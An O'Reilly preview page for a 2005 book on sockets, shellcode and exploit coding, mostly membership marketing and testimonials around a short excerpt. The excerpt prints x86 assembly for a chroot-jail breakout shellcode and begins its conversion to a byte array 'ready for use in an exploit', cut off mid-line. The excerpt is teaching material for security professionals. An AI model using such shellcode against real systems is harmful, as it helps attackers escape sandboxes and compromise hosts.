April 2005
Intermediate to advanced
700 pages
20h 39m
English
book
Sockets, Shellcode, Porting, and Coding: Reverse Engineering Exploits and Tool Coding for Security Professionals
by James C Foster
Content preview from Sockets, Shellcode, Porting, and Coding: Reverse Engineering Exploits and Tool Coding for Security Professionals
Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
O’Reilly covers everything we've got, with content to help us build a world-class technology community, upgrade the capabilities and competencies of our teams, and improve overall team performance as well as their engagement.I wanted to learn C and C++, but it didn't click for me until I picked up an O'Reilly book. When I went on the O’Reilly platform, I was astonished to find all the books there, plus live events and sandboxes so you could play around with the technology.I’ve been on the O’Reilly platform for more than eight years. I use a couple of learning platforms, but I'm on O'Reilly more than anybody else. When you're there, you start learning. I'm never disappointed.I'm always learning. So when I got on to O'Reilly, I was like a kid in a candy store. There are playlists. There are answers. There's on-demand training. It's worth its weight in gold, in terms of what it allows me to do.
10 movw $0x01ed, %cx
11
12
leal 0x27(%edx), %eax
13 int $0x80
14
15
leal 61(%edx), %eax
16 int $0x80
17
18
xorl %esi, %esi
19
20
loop:
21 pushl %edx
22 pushw $0x2e2e
23 movl %esp, %ebx
24
25
leal 12(%edx), %eax
26 int $0x80
27
28
pushl %edx
29 push $0x2e
30 movl %esp, %ebx
31
32
subl $88, %esp
33 movl %esp, %ecx
34
35
leal 106(%edx), %eax
36 int $0x80
37
38
movl 0x4(%ecx), %edi
39 cmpl $0x2, %edi
40 jehacked
41
42
incl %esi
43 cmpl $0x64, %esi
44 jlloop
45
46
hacked:
47 pushl %edx
48 push $0x2e
49 movl %esp, %ebx
50
51
leal 61(%edx), %eax
52 int $0x80
Lastly, converted to bytecode and ready for use in an exploit, the code looks like the
following:
1 const char neo_chroot[] =
2 "\x31\xd2" /* xorl %edx, ...
Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
and much more.
Read now
Unlock full access
More than 5,000 organizations count on O’Reilly
O’Reilly covers everything we've got, with content to help us build a world-class technology community, upgrade the capabilities and competencies of our teams, and improve overall team performance as well as their engagement.Julian F.
I wanted to learn C and C++, but it didn't click for me until I picked up an O'Reilly book. When I went on the O’Reilly platform, I was astonished to find all the books there, plus live events and sandboxes so you could play around with the technology.Addison B.
I’ve been on the O’Reilly platform for more than eight years. I use a couple of learning platforms, but I'm on O'Reilly more than anybody else. When you're there, you start learning. I'm never disappointed.Amir M.
I'm always learning. So when I got on to O'Reilly, I was like a kid in a candy store. There are playlists. There are answers. There's on-demand training. It's worth its weight in gold, in terms of what it allows me to do.